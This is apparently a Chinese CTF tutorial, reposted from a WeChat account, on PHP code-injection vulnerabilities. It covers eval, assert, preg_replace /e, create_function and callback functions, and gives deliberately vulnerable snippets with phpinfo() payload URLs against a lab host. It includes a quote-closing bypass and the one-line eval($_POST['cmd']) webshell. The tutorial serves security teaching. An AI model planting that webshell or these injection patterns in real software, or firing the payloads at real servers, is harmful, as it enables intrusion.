代码执行介绍
代码执行与命令执行:
代码执行介绍:
当用户提交的参数被作为代码的时候,此时称之为代码注入。
广义代码注入:覆盖大半安全漏洞分类,例如: SQL注入、XSS跨站等。
狭义代码注入:动态代码执行函数的参数过滤不严格,导致用户输入数据作为服务端代码执行。
代码执行(相关函数):
大致分为五类:
1、eval+assert函数
2、preg_replace /e
3、用户自定义函数
4、动态函数
5、其他
eval(PHP 4,PHP 5,PHP 7)
- 把字符串作为PHP代码执行,当用户可以控制字符串那么此时就存在代码注入漏洞。
eval( string $code ) : mixed
把字符串code 作为PHP代码执行。
mixed说明一个参数可以接受多种不同的(但不一定 是所有的)类型。
参考: https://www.php.net/eval
<?php
highlight_file(__FILE__); //https://www.php.net/highlight_file
eval('phpinfo( );');//https://www.php.net/phpinfo
?>
#与eval类似,字符串被assert()当做PHP代码来执行
<?php
assert('phpinfo( )' ); #加不加 ;都可以执行。兼容性更强。
?>
如果执行字符串,是通过GET| POST方式由用户输入,那么此时可以修改提交的字符串以达到任意执行代码的目的:
<?php
highlight_ file(__ FILE__ );
$cmd = $_GET[ 'cmd' ];
eval($cmd);
?>
如果访问URL: http://192.168.0.100/02CMD/01-CO0DE/?cmd=phpinfo()
报错: Parse error: syntax error, unexpected $end in C: phpstudy_proWWW�2CMD�1-Code index.php(4) : eval()'d code on line 1
错误原因:
eval中传入的必须是有效的PHP代码。所有的语句必须以分号结尾。比如'echo "Hi!"' 会导致一个parse error, 而'echo "Hi!";' 则会正常运行。
如果访问: http://192.168.0.100/02CMD/01-C0DE/?cmd=phpinfo();
# assert($cmd) ——》替换 eval($cmd)
<?php
highlight_ file(__ FILE__ );
$cmd = $_GET[ 'cmd' ];
assert($cmd);
?>
如果访问: http://192.168.0.100/02CMD/01-C0DE/?cmd=phpinfo() #加不加 ;都可以。
安全人员防御:加引号。
<?php
highlight_file('index.php' );
$cmd = $_GET['cmd'] ;
eval("$ret = strtolower('$cmd');"); //strtolower : 将字符串转化为小写
?>
绕过: (闭合+注释)
http://192.168.0.100/02CMD/61-CODE/ ?cmd=%27) ;phpinfo();//
$ret = strtolower(' ');phpinfo( );//
如果系统中开启了GPC就无法进行绕过了。
'=>'
在PHP5及之前,magic_quotes_gpc默认是开启的。magic_quotes_gpc的作用很微妙,我一直使用PHP5多年,
magic_ quotes_ gpc 呈开启状态,平时没有受到任何影响。直到发现PHP的Cookies,如果有'这样的标点符号,在Cookies里,
会将这些符号全部转义为'
在php.ini中修改(重启,否则不生效)
;magic_ quotes_gpc
; Default Value: On
; Development Value: Off
; Production Value: Off
PHP7的php . ini里没有magic_ quotes . gpc的选项,实际呈关闭状态。magic_ quotes_gpc关闭之后,为了加强安全,原来所
有的$_POST['abc' ]和$_GET['abc' ]最好全部加上stripslashes()来转义,例如:
$aa=stripslashes($_POST['abc']); abc ' '
$aa=stripslashes($_GET['abc']);
一句话Webshell抓包分析:
<?php
eval($_POST["cmd"]);
?>
preg_replace - 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern ,mixed $replacement, mixed $subject [,int $limit = -1 [,int&$count ]] ) : mixed
搜索subject中匹配pattern的部分,以replacement进行替换。
preg_replace( )函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使preg_replace()将 replacement 参数当作PHP代码执行。
<?php
// ?cmd=phpinfo( )
@preg_replace(" /abc/e", $_REQUEST[ ' cmd' ], "abcd");
?>
<?php
highlight_file('index.php');
$cmd = $_GET['cmd'];
preg_replace(' /<data>(.*)</data>/e', ' $ret="\1";',$cmd); //eval
echo $ret;
?>
访问http://192.168.0.100/ 02CMD/01-CODE/ ?cmd=<data>{$ {phpinfo()}}</data>
create_function 主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给
create_function(string $args , string $code )执行任意命令。
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
动态函数调用:
<?php
function a(){
echo 'a';
}
function b(){
echo 'b';
}
if(isset($_GET["func"])){
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
访问: http://192.168.0.100/02CMD/01-C0DE/?func=phpinfo
动态函数:
<?php
//?a=assert&b=phpinfo( )
$_GET['a'](S_GET['b']);
?>
用户自定义函数回调:
call_user_func(callable $callback[ , mixed $parameter])
——》把第一个参数作为回调函数调用,其余参数是回调函数的参数。
使用is_callable函数确定某函数是否可以回调。
输出 1 可以回调:
call_user_func_array( callable $callback , array $param_arr) ——》调用回调函数,并把一个 数组参数作为回调函数的参数。
<?php
//?cmd=phpinfo( )
@call_user_func(assert,$_GET['cmd'] ) ;
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET[ 'cmd' ];
$array[0]=$cmd;
call_user_func_array("assert" , $array);
?>
如果:
<?php
//?cmd=phpinfo()
$cmd=$_ GET['cmd' ] ;
call_user_func_array("assert" , $cmd) ;
?>
那么访问:
index.php?cmd[ ]=phpinfo( )
cmd[] ——》作为数组执行
php 5.6 以上适用:
${php代码}
<?php
highlight_ file(__FILE__) ;
${phpinfo()};
?>
小结:
1、代码执行漏洞触发效果
2、-句话Webshell的原理 - 代码执行。
原文始发于微信公众号(安全君呀):CTF分享 | 命令执行-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论